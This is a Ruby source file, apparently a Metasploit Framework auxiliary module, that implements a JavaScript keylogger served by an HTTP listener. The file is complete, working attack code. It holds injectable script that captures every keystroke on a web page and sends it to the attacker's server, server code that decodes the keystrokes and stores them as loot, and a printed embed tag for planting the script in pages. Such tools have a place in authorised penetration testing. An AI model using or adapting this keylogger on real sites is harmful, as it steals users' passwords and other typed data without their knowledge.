296 lines
9.5 KiB
Ruby
296 lines
9.5 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Man-in-the-middle JavaScript Keylogger',
|
|
'Description' => %q{
|
|
This modules runs a HTTP Server to serve as a remote keylog listener
|
|
to capture web page keystrokes.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Marcus J. Carey <mjc[at]threatagent.com>']
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('SRVHOST', [true, "Local HTTP Server IP Address", "#{Rex::Socket.source_address}"]),
|
|
OptInt.new('SRVPORT', [true, "Local HTTP Server Port",80]),
|
|
OptBool.new('DEMO', [true, "Create a Demo Keylogger Page",false]),
|
|
OptString.new('URIPATH', [true, "Recommended value is \"\/\"","/"])
|
|
], self.class)
|
|
end
|
|
|
|
# This is the Demo Form Page <HTML>
|
|
def demo
|
|
html = <<EOS
|
|
<html>
|
|
<head>
|
|
<title>Metasploit JavaScript Keylogger Demonstration Form</title>
|
|
<script type="text/javascript" src="#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@random_text}.js"></script>
|
|
</head>
|
|
<body bgcolor="white">
|
|
<br><br>
|
|
<div align="center">
|
|
<h1>Metasploit<br>Javascript Keylogger Demo</h1>
|
|
<form method=\"POST\" name=\"logonf\" action=\"#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit\">
|
|
<p><font color="red"><i>This form submits data to the Metasploit listener <br>at #{datastore['SRVHOST']}:#{datastore['SRVPORT']} for demonstration purposes.</i></font>
|
|
<br><br>
|
|
<table border="0" cellspacing="0" cellpadding="0">
|
|
<tr><td>Username:</td> <td><input name="userf" size="20"></td> </tr>
|
|
<tr><td>Password:</td> <td><input type="password" name="passwordf" size="20"></td> </tr>
|
|
</table>
|
|
<p align="center"><input type="submit" value="Submit"></p></form>
|
|
<p><font color="grey" size="2">Metasploit® is a registered trademark of Rapid7, Inc.</font>
|
|
</div>
|
|
</body>
|
|
</html>
|
|
EOS
|
|
return html
|
|
end
|
|
|
|
# This is the JavaScript Key Logger Code
|
|
def keylogger
|
|
code = <<EOS
|
|
window.onload = function load#{@random_text}(){
|
|
l#{@random_text} = ",";
|
|
document.onkeypress = p#{@random_text};
|
|
document.onkeydown = d#{@random_text};
|
|
}
|
|
function p#{@random_text}(e){
|
|
k#{@random_text} = window.event.keyCode;
|
|
k#{@random_text} = k#{@random_text}.toString(16);
|
|
if (k#{@random_text} != "d"){
|
|
#{@random_text}(k#{@random_text});
|
|
}
|
|
}
|
|
function d#{@random_text}(e){
|
|
k#{@random_text} = window.event.keyCode;
|
|
if (k#{@random_text} == 9 || k#{@random_text} == 8 || k#{@random_text} == 13){
|
|
#{@random_text}(k#{@random_text});
|
|
}
|
|
}
|
|
function #{@random_text}(k#{@random_text}){
|
|
l#{@random_text} = l#{@random_text} + k#{@random_text} + ",";
|
|
if (window.XMLHttpRequest){
|
|
xmlhttp=new XMLHttpRequest();
|
|
}
|
|
else{
|
|
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
|
|
}
|
|
xmlhttp=new XMLHttpRequest();
|
|
xmlhttp.open("GET","#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@random_text}&[" + l#{@random_text} + "]",true);
|
|
xmlhttp.send();
|
|
}
|
|
EOS
|
|
return code
|
|
end
|
|
|
|
def hex_to_s(log)
|
|
@ascii_log = ""
|
|
log.split(",").each do |char|
|
|
case char.to_i
|
|
# Do Backspace
|
|
when 8
|
|
if @ascii_log.present?
|
|
if @ascii_log[@ascii_log.length - 4,@ascii_log.length] == "<CR>"
|
|
@ascii_log = @ascii_log[0, @ascii_log.length - 4]
|
|
elsif @ascii_log[@ascii_log.length - 5,@ascii_log.length] == "<TAB>"
|
|
@ascii_log = @ascii_log[0, @ascii_log.length - 5]
|
|
else
|
|
@ascii_log = @ascii_log[0, @ascii_log.length - 1]
|
|
end
|
|
end
|
|
|
|
when 9 then @ascii_log += "<TAB>"
|
|
when 13 then @ascii_log += "<CR>"
|
|
|
|
else
|
|
@ascii_log += char.to_s.hex.chr
|
|
end
|
|
end
|
|
end
|
|
|
|
# Creates Metasploit shield favicon
|
|
def favicon
|
|
# [Red/Green/Blue/Reserved] * 256
|
|
data_rgb = "00000000c5bdb50055341100ffffff002d1803006034060"
|
|
data_rgb << "044250400673807004b290500d9d9d9004d2a0500251504"
|
|
data_rgb << "00"*977
|
|
data_rgb = [data_rgb].pack('H*')
|
|
|
|
data_lines = "0000000000000007070000000000000000000000000007"
|
|
data_lines << "07070A00000000000000000000000707070A0A0A000000"
|
|
data_lines << "000000000000070707070A0A0A0A000000000000000703"
|
|
data_lines << "0707070A0A0A010A00000000000707030707070A0A0A09"
|
|
data_lines << "020A00000000070303070703090A0A09090A0000000007"
|
|
data_lines << "0303070703090A0A09090A000000000703030705030908"
|
|
data_lines << "0A09090A0000000007030307070309040609090A000000"
|
|
data_lines << "0007030307030309090B09090A00000000070303030303"
|
|
data_lines << "09090909090A000000000703030303070A090909090A00"
|
|
data_lines << "0000000703030307070A0A0909090A0000000007070707"
|
|
data_lines << "07070A0A0A0A0A0A000000000007070707070A0A0A0A0A"
|
|
data_lines << "000000"
|
|
data_lines = [data_lines].pack('H*')
|
|
|
|
data_mask = "FE7F0000FC3F0000F81F0000F00F0000E0070000C0030000"
|
|
data_mask << "C0030000C0030000C0030000C0030000C0030000C0030000"
|
|
data_mask << "C0030000C0030000C0030000E0070000"
|
|
data_mask = [data_mask].pack('H*')
|
|
|
|
# icondir
|
|
ico = "\x00\x00" # Reserved
|
|
ico << "\x01\x00" # Type
|
|
ico << "\x01\x00" # Count
|
|
ico << "\x10" # Width
|
|
ico << "\x10" # Height
|
|
ico << "\x00" # ColorCount
|
|
ico << "\x00" # Reserved
|
|
ico << "\x00\x00" # Planes
|
|
ico << "\x00\x00" # BitCount
|
|
ico << "\x68\x05\x00\x00" # BytesInRes
|
|
ico << "\x16\x00\x00\x00" # Image Offset
|
|
# images: bmiHeader
|
|
ico << "\x28\x00\x00\x00" # biSize
|
|
ico << "\x10\x00\x00\x00" # biWidth
|
|
ico << "\x20\x00\x00\x00" # biHeight
|
|
ico << "\x01\x00" # biPlanes
|
|
ico << "\x08\x00" # biBitcount
|
|
ico << "\x00\x00\x00\x00" # biCompression
|
|
ico << "\x00\x01\x00\x00" # biSizeImage
|
|
ico << "\x00\x00\x00\x00" # XPelsPerMeter
|
|
ico << "\x00\x00\x00\x00" # YPelsPerMeter
|
|
ico << "\x00\x01\x00\x00" # biClrUsed
|
|
ico << "\x00\x00\x00\x00" # ClrImportant
|
|
# images: data
|
|
ico << data_rgb
|
|
ico << data_lines
|
|
ico << data_mask
|
|
|
|
return ico
|
|
end
|
|
|
|
def current_time
|
|
return Time.new.utc.strftime("[%d/%b/%Y:%H:%M:%S %Z]")
|
|
end
|
|
|
|
# Creates and prints timestamp
|
|
def request_timestamp(cli,request)
|
|
print_status("#{cli.peerhost} - #{current_time} - [HTTP GET] - #{request.uri}")
|
|
end
|
|
|
|
# This handles the HTTP responses for the Web server
|
|
def on_request_uri(cli, request)
|
|
@host = cli.peerhost
|
|
|
|
# Reply with JavaScript Source if *.js is requested
|
|
if request.uri =~ /\.js/
|
|
content_type = "text/plain"
|
|
content = keylogger
|
|
send_response(cli, content, {'Content-Type'=> content_type})
|
|
request_timestamp(cli,request)
|
|
|
|
# JavaScript XML HTTP GET Request is used for sending the keystrokes over network.
|
|
elsif request.uri =~ /#{@random_text}/
|
|
content_type = "text/plain"
|
|
send_response(cli, @random_text, {'Content-Type'=> content_type})
|
|
log = request.uri.split("&")[1]
|
|
hex_to_s(log)
|
|
@loot << "#{cli.peerhost} - #{current_time} - " + @ascii_log + "\n"
|
|
if log.length > 1
|
|
print_good("#{cli.peerhost} - #{current_time} - [KEYLOG] - #{@ascii_log}")
|
|
end
|
|
|
|
# Reply with Metasploit Shield Favicon
|
|
elsif request.uri =~ /favicon\.ico/
|
|
content = favicon
|
|
content_type = "image/icon"
|
|
send_response(cli, content, {'Content-Type'=> content_type})
|
|
request_timestamp(cli,request)
|
|
|
|
# Reply with Demo Page
|
|
elsif request.uri =~ /metasploit/ and datastore['DEMO']
|
|
content = demo
|
|
content_type = "text/html"
|
|
send_response(cli, content, {'Content-Type'=> content_type})
|
|
request_timestamp(cli,request)
|
|
else
|
|
# Reply with 404 - Content Not Found
|
|
content = "Error 404 (Not Found)!"
|
|
send_response(cli, "<html><title>#{content}</title><h1>#{content}</h1></html>", {'Content-Type' => 'text/html'})
|
|
end
|
|
end
|
|
|
|
def use_ssl?
|
|
if datastore['SSL']
|
|
@http_mode = "https://"
|
|
else
|
|
@http_mode = "http://"
|
|
end
|
|
end
|
|
|
|
def start_log
|
|
@loot = ""
|
|
logo = %Q{
|
|
# cowsay++
|
|
_________________________________
|
|
< metasploit javascript keylogger >
|
|
---------------------------------
|
|
\\ ,__,
|
|
\\ (oo)____
|
|
(__) )\\
|
|
||--|| *
|
|
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
|
Started at #{current_time}
|
|
=====================================
|
|
|
|
}
|
|
logo = logo.gsub("\t\t\t","")
|
|
|
|
@loot << logo
|
|
|
|
end
|
|
|
|
# This is the module's main runtime method
|
|
def run
|
|
start_log
|
|
use_ssl?
|
|
@ascii_log = ""
|
|
@random_text = Rex::Text.rand_text_alpha(12)
|
|
script_source = "#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/js#{@random_text}.js"
|
|
|
|
# Prints Demo Page
|
|
if datastore['DEMO']
|
|
print_status("Demonstration Form URL => %grn#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit%clr")
|
|
end
|
|
|
|
# Prints HTML Embed Code
|
|
print_status("Keylogger <HTML> Code => %blu<script type=\"text/javascript\" src=\"#{script_source}\"></script>%clr")
|
|
print_status("Starting keylogger. Please press [CTRl]+[C] if you wish to terminate.")
|
|
|
|
# Starts Web Server
|
|
begin
|
|
exploit
|
|
rescue Interrupt
|
|
path = store_loot("javascript.keystrokes", "text/plain", @host, @loot)
|
|
print_status("Stored loot at #{path}")
|
|
end
|
|
end
|
|
end
|
|
|
|
=begin
|
|
To-do:
|
|
1. Allow custom favicon
|
|
2. Allow custom demo page
|
|
=end
|